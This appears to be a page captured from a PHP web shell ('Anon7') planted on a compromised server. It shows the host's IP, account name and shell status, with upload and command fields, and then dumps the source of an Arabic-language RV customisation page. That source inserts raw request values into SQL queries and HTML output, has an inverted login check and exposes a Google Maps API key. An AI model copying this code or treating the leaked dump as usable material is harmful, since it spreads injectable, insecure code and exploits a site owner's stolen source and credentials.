SCDNG PELER
Server IP : 162.241.126.129  /  Your IP : 18.118.166.45
Web Server : Apache
System : Linux 162-241-126-129.cprapid.com 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
User : rvway5nu4 ( 1018)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/rvway5nu4/www/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/rvway5nu4/www//ar_extint.php
<?php
//require_once('./setting.php');
//echo ABSPATH;  exit; //  F:\xampp\htdocs\carivon/
include("./config/data.config.php"); 
include("$LIB_DIR/functions.lib.php");
include("$LIB_DIR/db.php");
include("$LIB_DIR/db/mysqli.php"); 
include("$LIB_DIR/data.constant.php");
include("$LIB_DIR/sitemsgs.php");
include("$LIB_DIR/class.paging.php");
include("$LIB_DIR/functions.mailer.php");
$error='';
$msg='';
if( !isset( $_SESSION['SESS_id'] ) && (  $_SESSION['SESS_type'] == 'AD' )  ){  		
		$_SESSION['msg'] = '<div class="alert alert-warning" >There is no login.</div>';
		header('Location: '.SUB_DIR_PROJECT.'/ar_index.php');
		exit;
}

global $SITE_URL, $IMG_DIR;  
$db	=	new Db( $DB_HOST, $DB_USERNAME, $DB_PASSWORD, $DB_NAME, $DB_REPORT_ERROR, $DB_PERSISTENT_CONN);


if( isset($_REQUEST['submitcustomfrm']) && ( $_REQUEST['submitcustomfrm'] == 'yes' )  ){
    $SESS_cust_i_customerID = 0;
	if( isset( $_SESSION['SESS_cust_i_customerID'] )){
		$SESS_cust_i_customerID = $_SESSION['SESS_cust_i_customerID'];	
		
	}	
	//echo '<pre>'; print_r( $_REQUEST ); echo "</pre>"; exit;
	$submit_data  = array();

	$submit_data['classA']  = $_REQUEST['itemA'];
	$submit_data_json  = json_encode($submit_data); 
	
	$sqlinsert = " INSERT INTO frnt_customer_customized_rv SET submit_data = '".$submit_data_json."' ,  customer_id = '".$SESS_cust_i_customerID."', First_Name = '".$_REQUEST['First_Name']."', Last_Name = '".$_REQUEST['Last_Name']."', Sender_Email = '".$_REQUEST['Sender_Email']."', Phone = '".$_REQUEST['Phone']."', type = '".$_REQUEST['type']."',  dt_addedDate = NOW() ";
	$result=$db->query($sqlinsert);

	$PROMPT ='<div class="alert alert-success alert-dismissable">
							<button type="button" class="close" data-dismiss="alert" aria-hidden="true">X</button>
							<strong><i class="fa fa-check-circle"></i> Success :</strong>Thank you, we will contact soon.
	</div>';
   
	$_SESSION['msg'] = $PROMPT; 
	$catID  =  $_REQUEST['catID'];
	$custcat  =  $_REQUEST['custcat'];
	header('Location: '.SUB_DIR_PROJECT.'/ar_extint.php?custcat='.$custcat.'&catID='.$catID);
	exit;
	

}




$para = '';
if( isset($_REQUEST['para']) ){
	$para = $_REQUEST['para'];
}


$SQL2 = "SELECT * FROM tbl_rv_setting";
$rv_set_result=$db->query($SQL2);
if ($rv_set_result->num_rows)
{
	foreach($rv_set_result->rows AS $key=>$val )
	{		

		$item_detail_title  = $val['item_detail_title'];
		$item_detail_short_description = $val['item_detail_short_description'];
		$item_detail_description = $val['item_detail_description'];
		$item_detail_fotter_description = $val['item_detail_fotter_description'];

	}
}

$custcat  = $_REQUEST['custcat'];
$catID  = $_REQUEST['catID'];
$type1  = 'E'; // $_REQUEST['type'];

$query2 = "select * from customized_class_ext_int WHERE custcat = '".$custcat."'  AND  catID = '".$catID."' AND type  = 'E'";
$result=$db->query($query2);    
if ($result->num_rows)
{	$slno=$page+1;
	foreach($result->rows AS $key=>$val )
	{		
		foreach($val AS $key1=>$val1 )
		{
			$$key1  = stripslashes($val1);
		}							
	}
	$v_show_image_typeE = $v_show_image_type;
	$videotarget = "$DOCUMENT_ROOT$PIC_DIR/$item_video";
	if ( $item_video != ''  && file_exists("$videotarget"))
	{
		$videopath = $SITE_URL.'/pic/'.$item_video;
	}
	$videopathE  = $videopath;

	$threed_image_arrayE  = array();
	for( $i=1; $i < 31 ; $i++ ) {
		$img  = 'v_image'.$i; //	$img  = 'v_3dimage'.$i; Shubham
		$imgsrc	  = $$img;
		$target = "$DOCUMENT_ROOT$PIC_DIR/$imgsrc";		
		if ( $$img != ''  && file_exists("$target"))
		{	
			$imgpre			= 'v_3dimageprev'.$i;					
			$delimg			= 'del_v_3dimageprev'.$i;
			$$delimg	    = $imgsrc;
			$threed_image_arrayE[$i]  = $SITE_URL.'/pic/'.$imgsrc;		
		}
	}


}

//echo $v_show_image_typeE;   echo '<BR/>'; echo $videopath ; echo '<BR/>';  
//echo '<pre>';  print_r( $threed_image_arrayE ); echo '</pre>'; 

?> 
<!DOCTYPE html>
<html lang="en">
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    
    <title>RV Way</title>
    <!-- mobile responsive meta -->
	<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> 
    <meta name="viewport" content="width=device-width, initial-scale=1">
	<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
	<?php require_once($ROOT_DIR.'/page_content/us/common/header_common_link1.php'); ?>
	<?php //require_once($ROOT_DIR.'/page_content/us/common/header_common_link2.php'); ?>
	<?php require_once($ROOT_DIR.'/page_content/us/common/header_common_link3.php'); ?>
	<?php require_once($ROOT_DIR.'/page_content/us/common/header_common_link4.php');  ?>
	<link rel="stylesheet" href="<?php echo $ROOT_DIR.'/css/us/five_star_font_awesome_min.css'; ?>" >
	<style>
	.checked {
		color: orange;
	}
	</style>
	
<?php if( $v_show_image_typeE == 'normal' ) { ?>

	<link rel="stylesheet" type="text/css" href="<?php echo $SITE_URL; ?>/ResponsiveImageGallery/css/demo.css" />
	<link rel="stylesheet" type="text/css" href="<?php echo $SITE_URL; ?>/ResponsiveImageGallery/css/style.css" />
	<link rel="stylesheet" type="text/css" href="<?php echo $SITE_URL; ?>/ResponsiveImageGallery/css/elastislide.css" />
	<noscript>
		<style>
			.es-carousel ul{
				display:block;
			}
		</style>
	</noscript>
	<script id="img-wrapper-tmpl" type="text/x-jquery-tmpl">	
		<div class="rg-image-wrapper">
			{{if itemsCount > 1}}
				<div class="rg-image-nav">
					<a href="#" class="rg-image-nav-prev">Previous Image</a>
					<a href="#" class="rg-image-nav-next">Next Image</a>
				</div>
			{{/if}}
			<div class="rg-image"></div>
			<div class="rg-loading"></div>
			<div class="rg-caption-wrapper">
				<div class="rg-caption" style="display:none;">
					<p></p>
				</div>
			</div>
		</div>
	</script>

<?php } else if( $v_show_image_typeE == '3d' ) { ?>
<link href="<?php echo $SITE_URL;  ?>/simple-360-degrees-image-viewer-plugin-for-jquery-rotateimage/script/jquerysctipttop.css" rel="stylesheet" type="text/css">
<link rel="stylesheet" type="text/css" href="<?php echo $SITE_URL;  ?>/simple-360-degrees-image-viewer-plugin-for-jquery-rotateimage/script/jquery-ui.css"/> 
<script src="<?php echo $SITE_URL;  ?>/simple-360-degrees-image-viewer-plugin-for-jquery-rotateimage/script/jquery.min.js"></script>
<script src="<?php echo $SITE_URL;  ?>/simple-360-degrees-image-viewer-plugin-for-jquery-rotateimage/script/jquery-ui.min.js"></script>

<script src="<?php echo $SITE_URL;  ?>/simple-360-degrees-image-viewer-plugin-for-jquery-rotateimage/script/rotate.js"></script>
<link rel="stylesheet" href="<?php echo $SITE_URL;  ?>/simple-360-degrees-image-viewer-plugin-for-jquery-rotateimage/css/rotate.css" media="all">
<style>
.rotatebox {
width: 655px;
min-width: 655px;
margin: 0 auto;
margin-left: 0px;
}

.ui-slider {
    position: relative;
    text-align: left;
    left: 20%;
}


@media screen and (max-width: 600px) {

	.rotatebox {
	width: 320px;
	min-width: 320px;
	margin: 0 auto;
	margin-left: 0px;
	}

	.ui-slider {
		position: relative;
		text-align: left;
		left: 1%;
	}

}



</style>
<?php } ?>
<style type="text/css" >
video {
  width: 100%    !important;
  height: auto   !important;
}

</style>
<link rel="stylesheet" href="<?php echo $SITE_URL;  ?>/css/ar/star-rating-master/style.css">

<?php if( $para == 3 ){ ?>
<!-- Start date picker  -->
<!-- 
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
<link rel="stylesheet" type="text/css" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-datepicker/1.6.4/css/bootstrap-datepicker.standalone.min.css">
-->
<link rel="stylesheet" type="text/css" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-datepicker/1.6.4/css/bootstrap-datepicker.standalone.min.css">

<!-- End date picker -->
<?php } ?>
</head>
<body>
	
	<!-- <div class="preloader"></div> -->
    <div class="page-wrapper"  >

		<!-- space for preloader -->
		<header class="site-header header-one" >
			<div class="top-header">
				<?php require_once($ROOT_DIR.'/page_content/ar/common/header_top.php'); ?>
			</div><!-- /.top-header -->
			<nav class="navbar navbar-expand-lg navbar-light header-navigation stricky header-style-one" >
				<?php require_once($ROOT_DIR.'/page_content/ar/common/header_nav.php'); ?>
            </nav>
		</header><!-- /.site-header -->
		<?php // require_once($ROOT_DIR.'/page_content/minimal-bootstrap-carousel_h.php'); ?>
		<?php // require_once($ROOT_DIR.'/page_content/us/home/minimal-bootstrap-carousel.php'); ?>
		<!--Start AAAAAAAAAAAAAAAAAAAAAAAAAAAAA -->
        <div style="margin:20px 0px 20px 0px;">
            <div class="container">
                <div class="row">
                    <div class="col-lg-12">
						<!--
						<h3 class=""><?php echo $item_detail_title; ?></h3>
						<?php echo $item_detail_description; ?>
						-->
					</div>
				</div>
			</div>
		</div>
        <div class="">
            <div class="container">
                <div class="row">
                    <div class="col-lg-3">
					<div class="blog-sidebar">
						 <form class="mb-30" method="get" action="<?php echo   site_url.'used.php'; ?>" >				
					   	    <?php  require_once($ROOT_DIR.'/page_content/used_sidebar.php'); ?>
						 </form>						
					</div><!-- /.blog-sidebar -->						
                    </div><!-- /.col-lg-3 -->
                    <div class="col-lg-9">
					<form class="mb-30" method="get" action="<?php echo site_url; ?>ar_extint.php?custcat=<?php echo $_REQUEST['custcat']; ?>&catID=<?php echo $_REQUEST['catID']; ?>&type=<?php echo $_REQUEST['type']; ?>" >	
						<?php if( $_SESSION['msg'] ){ 
							 echo $_SESSION['msg']; 
							 unset($_SESSION['msg']);
						} 					
						?>
						<?php
						$typeName = '' ;
						if( $_REQUEST['type'] == 'E' ){
							$typeName = '<span style="font-size:17px; font-weight:bold;" >External </span>' ;
						}else if( $_REQUEST['type'] == 'I' ){
							$typeName = '<span style="font-size:17px; font-weight:bold;">Internal</span>' ;
						}

						$customize_cat_name  = ''; 
						$customize_class_name  = ''; 
						$tbl_flag =  0;
						if( !empty($_REQUEST['custcat']) ){
							$custcatID  = $_REQUEST['custcat'];
							if( $custcatID == 1){
								$customize_cat_name  = 'Customized Class A ';
								$customize_class_name  = 'الفئة أ'; 
								$key_field   = 'i_classaID';
								$key_table   = 'customized_classa_category';
								$tbl_flag =  1;
							}else if( $custcatID == 2 ){
								$customize_cat_name  = 'Customized Class B';
								$customize_class_name  = 'الصف ب'; 
								$key_field   = 'i_classbID';
								$key_table   = 'customized_classb_category';
								$tbl_flag =  1;
							}else if( $custcatID == 3 ){
								$customize_cat_name  = 'Customized Class C ';
								$customize_class_name  = 'فئة ج'; 
								$key_field   = 'i_classcID';
								$key_table   = 'customized_classc_category';
								$tbl_flag =  1;
							}else if( $custcatID == 4 ){
								$customize_cat_name  = 'Customized Class C';
								$customize_class_name  = 'عرض مختصر لفيلم'; 
								$key_field   = 'i_classdID';
								$key_table   = 'customized_classd_category';
								$tbl_flag =  1;
							}
						}
						$category_name = '';
						$catID  = $_REQUEST['catID'];
						if(  $tbl_flag ){
						$sql = "SELECT * FROM ".$key_table."  WHERE ".$key_field." = '".$catID."'  "; 
						$result=$db->query($sql);
						if($result->num_rows) {		
							$category_name  = $result->row['name']; 

							if( $custcatID == 1){
								$key_field   = 'i_classaID';
								$i_classID   = $result->row[$key_field]; 
							}else if( $custcatID == 2 ){
								$key_field   = 'i_classbID';
								$i_classID   = $result->row[$key_field]; 
							}else if( $custcatID == 3 ){
								$key_field   = 'i_classcID';
								$i_classID   = $result->row[$key_field]; 
							}else if( $custcatID == 4 ){
								$key_field   = 'i_classdID';
								$i_classID   = $result->row[$key_field]; 
							}



						}
						 echo '<span style="padding-top:10px;font-size:22px; font-weight:bold;" >'.$customize_class_name.'</span>';
					 	 echo '<BR/><span style="padding-top:10px;font-size:18px; font-weight:bold;" >'; echo $category_name; echo '</span>';
						}
						?>

						<HR/>
						<!--  Start to display image -->
					
						<span style="font-size:15px; font-weight:bold;" >خارجي</span><BR/>&nbsp;<BR/>
						<?php  if( $v_show_image_typeE == 'normal' ) {     ?>
						<article class="product_loop">
							<div id="rg-gallery" class="rg-gallery">
								<div class="rg-thumbs">
									<!-- Elastislide Carousel Thumbnail Viewer -->
									<div class="es-carousel-wrapper">
										<div class="es-nav">
											<span class="es-nav-prev">السابق</span>
											<span class="es-nav-next">التالى</span>
										</div>
										<div class="es-carousel">
											<ul>
												<?php 
													foreach($threed_image_arrayE AS $valE)
													{	
															$imgSRC = $valE; 
															?>
																<li><a href="#"><img src="<?php echo $imgSRC; ?>" data-large="<?php echo $imgSRC; ?>" alt="<?php echo $v_title; ?>" data-description="<?php echo $v_title; ?>" /></a></li>
															<?php
													}
												?>


											</ul>
										</div>
									</div>
									<!-- End Elastislide Carousel Thumbnail Viewer -->
								</div><!-- rg-thumbs -->
							</div><!-- rg-gallery -->

						</article>
						<?php } else  if( isset( $videopathE ) &&  $v_show_image_typeE == 'video' ) {  ?>
						<article class="product_loop">
							<div class="row">
								<div class="col-lg-1 d-none d-sm-none">&nbsp;</div>
								<div class="col-lg-10 col-sm-12 text-center mx-auto d-block" style="float:center;" >
									<video  controls>
									  <source src="<?php echo $videopathE; ?>" type="video/mp4">
									  <source src="<?php echo $videopathE; ?>" type="video/ogg">							
									</video>
								</div>
								<div class="col-lg-1 col-lg-1 d-none d-sm-none">&nbsp;</div>
							</div>
						</article>
						<?php } else  if( $v_show_image_typeE == '3d' ) {   ?>
							<article class="product_loop">
								<div class="row">
									
									<div class="col-lg-12 col-sm-12 text-center" style="float:center;" >
											<div class="rotatebox">
												<div class="images"> </div>
												<div class="slider"></div>
											</div>
											<script>
											<!--
											rotate([
											
											  <?php foreach($threed_image_arrayE AS $key=>$val ){ ?>
											  "<?php echo $val; ?>",				 
											<?php } ?>
											]);
											-->
											</script>
									</div>
									
								</div>
							</article>
						<?php } ?>

						<div class="d-flex justify-content-end"  style="font-size:30px;" >
							<?php $average_rating_score  = ceil( $average_rating_score);  
							     $blakStart  = ( 5- $average_rating_score); 
							for($i =0 ; $i < $average_rating_score; $i++  ){   ?>
								<span class="fa fa-star checked"></span>
							<?php 	 } ?>	
							<?php
								 for($i =0 ; $i < $blakStart; $i++  ){   ?>
								<span class="fa fa-star"></span>
							<?php 	 } ?>																						
						</div>
						<!--  End to display image -->

						
						<!--  Start to second display image -->
						<?php
						$type2  = 'I'; // $_REQUEST['type'];

						$query2 = "select * from customized_class_ext_int WHERE custcat = '".$custcat."'  AND  catID = '".$catID."' AND type  = 'I'";
						$result=$db->query($query2);    
						if ($result->num_rows)
						{	$slno=$page+1;
							foreach($result->rows AS $key=>$val )
							{		
								foreach($val AS $key1=>$val1 )
								{
									$$key1  = stripslashes($val1);
								}							
							}
							
							$img_galleryI =  array();
							for( $i=1; $i < 21 ; $i++ ) 
							{
								$img  = 'v_image'.$i;
								$imgsrc	  = $$img;
								//echo $v_image1;   exit;
								$target = "$DOCUMENT_ROOT$PIC_DIR/$imgsrc";		
								if ( $$img != ''  && file_exists("$target"))
								{	
										$imgSRC = $SITE_URL.'/pic/'.$imgsrc; 
										$img_galleryI[]  = $imgSRC; 
										
								}
							}

							$v_show_image_typeI = $v_show_image_type;
							$videotarget = "$DOCUMENT_ROOT$PIC_DIR/$item_video";
							if ( $item_video != ''  && file_exists("$videotarget"))
							{
								$videopath = $SITE_URL.'/pic/'.$item_video;
							}
							$videopathI  = $videopath;

							$threed_image_arrayI  = array();
							for( $i=1; $i < 31 ; $i++ ) {
								$img  = 'v_3dimage'.$i;
								$imgsrc	  = $$img;
								$target = "$DOCUMENT_ROOT$PIC_DIR/$imgsrc";		
								if ( $$img != ''  && file_exists("$target"))
								{	
									$imgpre			= 'v_3dimageprev'.$i;					
									$delimg			= 'del_v_3dimageprev'.$i;
									$$delimg	    = $imgsrc;
									$threed_image_arrayI[$i]  = $SITE_URL.'/pic/'.$imgsrc;		
								}
							}


						}

						
						
						?>
						<span style="font-size:15px; font-weight:bold;" >داخلي</span><BR/>&nbsp;<BR/>
						<?php  if( $v_show_image_typeI == 'normal' ) {     ?>
						<article class="product_loop">
							<div id="rg-gallery" class="rg-gallery">
								<div class="rg-thumbs">
									<!-- Elastislide Carousel Thumbnail Viewer -->
									<div class="es-carousel-wrapper">
										
										
											<ul style="" >
												<?php 
												
													$target = "$DOCUMENT_ROOT$PIC_DIR/$imgsrc";	
													$single[] = $img_galleryI[0]; // shubham
													foreach( $single AS $valI)
													{	
															$imgSRC = $valI; 
															?>
																<li ><a href="#"><img src="<?php echo $imgSRC; ?>" data-large="<?php echo $imgSRC; ?>" alt="Caravon" data-description="Caravon" class="mx-auto d-block"  /></a></li>
															<?php
													}
											
												?>


											</ul>
										
									</div>
									<!-- End Elastislide Carousel Thumbnail Viewer -->
								</div><!-- rg-thumbs -->
							</div><!-- rg-gallery -->

						</article>
						<?php } else  if( isset( $videopathI ) &&  $v_show_image_typeI == 'video' ) {  ?>
						<article class="product_loop">
							<div class="row">
								<div class="col-lg-1 d-none d-sm-none">&nbsp;</div>
								<div class="col-lg-10 col-sm-12 text-center mx-auto d-block " style="float:center;" >
									<video  controls>
									  <source src="<?php echo $videopathI; ?>" type="video/mp4">
									  <source src="<?php echo $videopathI; ?>" type="video/ogg">							
									</video>
								</div>
								<div class="col-lg-1 col-lg-1 d-none d-sm-none">&nbsp;</div>
							</div>
						</article>
						<?php } else  if( $v_show_image_typeI == '3d' ) {   ?>
							<article class="product_loop">
								<div class="row">
									
									<div class="col-lg-12 col-sm-12 text-center" style="float:center;" >
											<div class="rotatebox">
												<div class="images"> </div>
												<div class="slider"></div>
											</div>
											<script>
											<!--
											rotate([
											
											  <?php foreach($threed_image_arrayI AS $key=>$val ){ ?>
											  "<?php echo $val; ?>",				 
											<?php } ?>
											]);
											-->
											</script>
									</div>
									
								</div>
							</article>
						<?php } ?>

						<div class="d-flex justify-content-end"  style="font-size:30px;" >
							<?php $average_rating_score  = ceil( $average_rating_score);  
							     $blakStart  = ( 5- $average_rating_score); 
							for($i =0 ; $i < $average_rating_score; $i++  ){   ?>
								<span class="fa fa-star checked"></span>
							<?php 	 } ?>	
							<?php
								 for($i =0 ; $i < $blakStart; $i++  ){   ?>
								<span class="fa fa-star"></span>
							<?php 	 } ?>																						
						</div>
						<!--  End to display second image -->

						<!--  Start to display form contained -->
						<div class="row">
							<div class="col-md-12" style="margin-top:15px;border-top:1px solid #ccc;" >&nbsp;</div>
						</div>
						<!-- ============================================================ -->
						<?php

						$chk_item_array = array();
						$chk_cat_item_array = array();
						$sqldchk= " SELECT * FROM customized_class_cat_item WHERE custcatID = '".$_REQUEST['custcat']."' AND  catID = '".$_REQUEST['catID']."' ";
						
						$result=$db->query($sqldchk);
						if ($result->num_rows)
						{
							foreach($result->rows AS $key1=>$val1 ){
								$chk_item_array[]  = $val1['itemID'];
								$chk_cat_item_array[$val1['itemID']] = $val1['i_sortOrder'];
							}
						}

						$sql1 = "SELECT CCCI.custcatID, CCCI.catID,  CCCI.itemID, CCCI.i_sortOrder, CCI.name FROM customized_class_cat_item AS CCCI LEFT JOIN customized_class_item AS CCI ON ( CCCI.itemID = CCI.i_customizedItemId )   WHERE CCCI.custcatID =  '".$_REQUEST['custcat']."' AND CCCI.catID =  '".$_REQUEST['catID']."' AND CCI.c_status  = 1 ORDER BY CCCI.i_sortOrder ASC, CCI.i_sortOrder ASC "; 
						$result1 = $db->query($sql1);


						
						?>
						<div id="class_child_clsproduct" style="" >
							<div class="row" style="" >
						<?php
							if($result1->num_rows) {		
								$cata_p_count = 1 ;
								foreach( $result1->rows AS $key1=>$val1){ 
										$pro_name				=	stripslashes($val1['name']);
											
				
								
								?>
										<div style="cursor: pointer;" class="col-sm-4 col-md-4 col-lg-4  " >
													 <strong><?php echo $cata_p_count; ?> : </strong><input type="checkbox" class="" style="width:20px !important; margin-right:10px;" name="itemA[<?php echo $vat = base64_encode($category_name); ?>][<?php echo $vat = base64_encode($pro_name); ?>]"  style="" > <?php echo $pro_name; ?>
										</div>
							<?php  
								$rem  = ( $cata_p_count % 3 );
								if( $rem == 0 ){
							
									  echo '<div class="col-sm-12 col-md-12 col-lg-12  " style="min-height:25px;" >&nbsp; </div>';
									  
								
								}	
								$cata_p_count++; 	}	
							}								
							?>
							</div>
						</div>


						<HR/>
						<?php 
						
						
						$cust_firstName  = ( isset( $_SESSION['SESS_cust_firstName'] ))? $_SESSION['SESS_cust_firstName'] : '';
						$cust_lastName  = ( isset( $_SESSION['SESS_cust_lastName'] ))? $_SESSION['SESS_cust_lastName'] : '';
						$cust_phone  = ( isset( $_SESSION['SESS_cust_phone'] ))? $_SESSION['SESS_cust_phone'] : '';
						$cust_email  = ( isset( $_SESSION['SESS_cust_email'] ))? $_SESSION['SESS_cust_email'] : '';
						
						?>						  
						  <div class="mb-1" id="fieldset-help-block">
							<h5>يرجى ملء لك التفاصيل</h5>
						  </div>


						  <div class="row">
							<div class="form-group col-sm-7 col-md-3">
							  <label for="firstName">الاسم الاول<span class="copyHighlight">&nbsp;*</span></label>
							</div>
							<div class="form-group has-feedback col-sm-5 col-md-8">
							  <input name="First_Name" type="text" class="form-control ss_red_required" aria-label="First Name" id="firstName" data-error="Please enter a First Name" required="" value="<?php echo $cust_firstName; ?>" >
							  <div class="help-block with-errors"></div>
							</div>
							<!-- /.form-group -->
						  </div>
						  <div class="row">
							<div class="form-group col-sm-7 col-md-3">
							  <label for="lastName">الكنية<span class="copyHighlight">&nbsp;*</span></label>
							</div>
							<div class="form-group has-feedback col-sm-5 col-md-8">
							  <input name="Last_Name" type="text" class="form-control ss_red_required" aria-label="Last Name" id="lastName" data-error="Please enter a Last Name" required="" value="<?php echo $cust_lastName; ?>"  >
							  <div class="help-block with-errors"></div>
							</div>
							<!-- /.form-group -->
						  </div>
						  <div class="row">
							<div class="form-group col-sm-7 col-md-3">
							  <label for="email">البريد الإلكتروني<span class="copyHighlight">&nbsp;*</span></label>
							</div>
							<div class="form-group has-feedback col-sm-5 col-md-8">
							  <input name="Sender_Email" type="email" class="form-control ss_red_required" aria-label="Email" id="email" placeholder="someone@example.com"  required="" value="<?php echo $cust_email; ?>" >
							  <div class="help-block with-errors"></div>
							</div>
							<!-- /.form-group -->
						  </div>
						  <div class="row">
							<div class="form-group col-sm-7 col-md-3">
							  <label for="phone">هاتف</label>
							</div>
							<div class="form-group col-sm-5 col-md-8">
							  <input name="Phone" type="text" class="form-control" aria-label="Phone" id="phone" placeholder="" value="<?php echo $cust_phone; ?>" required >
							</div>
							<!-- /.form-group -->
						  </div>

							
						  <div class="row">
							<div class="form-group col-sm-7 col-md-3">
							  <label for="phone">&nbsp;</label>
							</div>
							<div class="form-group col-sm-5 col-md-4">
								<div class="col-md-12 col-lg-12 col-sm-12 " style="padding:0px; margin:0px;">	
										<input type="hidden" name="submitcustomfrm" value="yes">
										<input type="hidden" name="type" value="<?php echo $_REQUEST['type'];  ?>">
										<input type="hidden" name="custcat" value="<?php echo $_REQUEST['custcat'];  ?>">
										<input type="hidden" name="catID" value="<?php echo $_REQUEST['catID'];  ?>">
										<button name="submitrentbutton" id="submitcomment" class="btn btn-primary " style="background-color:#4AAA52;color:#fff; float:center; display:inline-block; width:100%;">تقديم مخصصة رف</button>
								</div>
							</div>
							<!-- /.form-group -->
						  </div>						
						<!--  End to to display form contained -->
					</form>		
                    </div><!-- /.col-lg-9 -->

                </div><!-- /.row -->
            </div><!-- /.container -->
        </div><!-- /.blog blog-single -->
		<!--End AAAAAAAAAAAAAAAAAAAAAAAAAAAAA -->
	</div><!-- /.page-wrapper -->

	<footer class="crop">
		<?php  require_once($ROOT_DIR.'/page_content/ar/common/footer_middle.php'); ?>
		<?php require_once($ROOT_DIR.'/page_content/ar/common/footer_bottom.php'); ?>
	</footer>
		<?php if( $v_show_image_typeE != '3d' ) { ?>
		<a href="#" data-target="html" class="scroll-to-target scroll-to-top"><i class="fa fa-long-arrow-up"></i></a>
		<!-- /.scroll-to-top -->
		<?php require_once($ROOT_DIR.'/page_content/ar/common/footer_js.php'); ?>

		<script >
		   $('#partner_tab_2').hide();
		   $(".tabparner").on("click", function(){
			var tabparner_id = $(this).attr('id');
				//alert("The paragraph was clicked." + tabparner_id);
				if( tabparner_id == 'tab_1' ){
					$("#tab_1").addClass("activetab");
					$("#tab_1").removeClass("deactivetab");
					$("#tab_2").removeClass("activetab");
					$("#tab_2").addClass("deactivetab");
					$('#partner_tab_1').show();
					$('#partner_tab_2').hide();
				}
				
				if( tabparner_id == 'tab_2' ){
					$("#tab_2").addClass("activetab");
					$("#tab_2").removeClass("deactivetab");
					$("#tab_1").removeClass("activetab");
					$("#tab_1").addClass("deactivetab");
					$('#partner_tab_1').hide();
					$('#partner_tab_2').show();
				}
				
		   }); 
		
		</script>
		

		<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script>
		<script type="text/javascript" src="<?php echo $SITE_URL; ?>/ResponsiveImageGallery/js/jquery.tmpl.min.js"></script>
		<script type="text/javascript" src="<?php echo $SITE_URL; ?>/ResponsiveImageGallery/js/jquery.easing.1.3.js"></script>
		<script type="text/javascript" src="<?php echo $SITE_URL; ?>/ResponsiveImageGallery/js/jquery.elastislide.js"></script>
		<script type="text/javascript" src="<?php echo $SITE_URL; ?>/ResponsiveImageGallery/js/gallery.js"></script>

		<script>
		$(window).load(function() {
			//	$(".rg-thumbs").hide();
				$(".rg-view").hide();
				
		});
		/*
		$( window ).on("load", function() {
				$("#features-includedid").trigger('click');
				$("#specificationsid").trigger('click');
				$("button").attr("aria-expanded","true");
				alert("AAA");
		});
		*/

		</script>
		<?php }else{ ?>
		
		<a href="#" data-target="html" class="scroll-to-target scroll-to-top"><i class="fa fa-long-arrow-up"></i></a>
		<!-- /.scroll-to-top -->
  
    <script src="https://maps.googleapis.com/maps/api/js?key=AIzaSyBurXgYMavDEzEDzGs8Pq-TZVamhF2aZoE"></script>
    <script src="<?php echo $SITE_URL; ?>/js/us/gmaps.js"></script>
    <script src="<?php echo $SITE_URL; ?>/js/us/map-helper.js"></script>
    <script src="<?php echo $SITE_URL; ?>/js/us/bootstrap.bundle.min.js"></script>
    <script src="<?php echo $SITE_URL; ?>/js/us/jquery.magnific-popup.min.js"></script>
    <script src="<?php echo $SITE_URL; ?>/js/us/owl.carousel.min.js"></script>
    <script src="<?php echo $SITE_URL; ?>/js/us/isotope.js"></script>
    <script src="<?php echo $SITE_URL; ?>/js/us/bootstrap-select.min.js"></script>
    <script src="<?php echo $SITE_URL; ?>/js/us/waypoints.min.js"></script>
    <script src="<?php echo $SITE_URL; ?>/js/us/jquery.bxslider.min.js"></script>
    <script src="<?php echo $SITE_URL; ?>/js/us/jquery.counterup.min.js"></script>
    <script src="<?php echo $SITE_URL; ?>/js/us/wow.min.js"></script>
    <script src="<?php echo $SITE_URL; ?>/js/us/theme.js"></script>



	<script>
		$("#vaddressmap").on('click', function(){
				location.href = 'contact.php?#map';
				//var viewcontactriceAjaxRESULT = document.getElementById("viewcontact");
				//viewcontactriceAjaxRESULT.scrollIntoView();
		});
	</script>
		
		<?php }?>
    </body>
</html>

Anon7 - 2022
SCDN GOK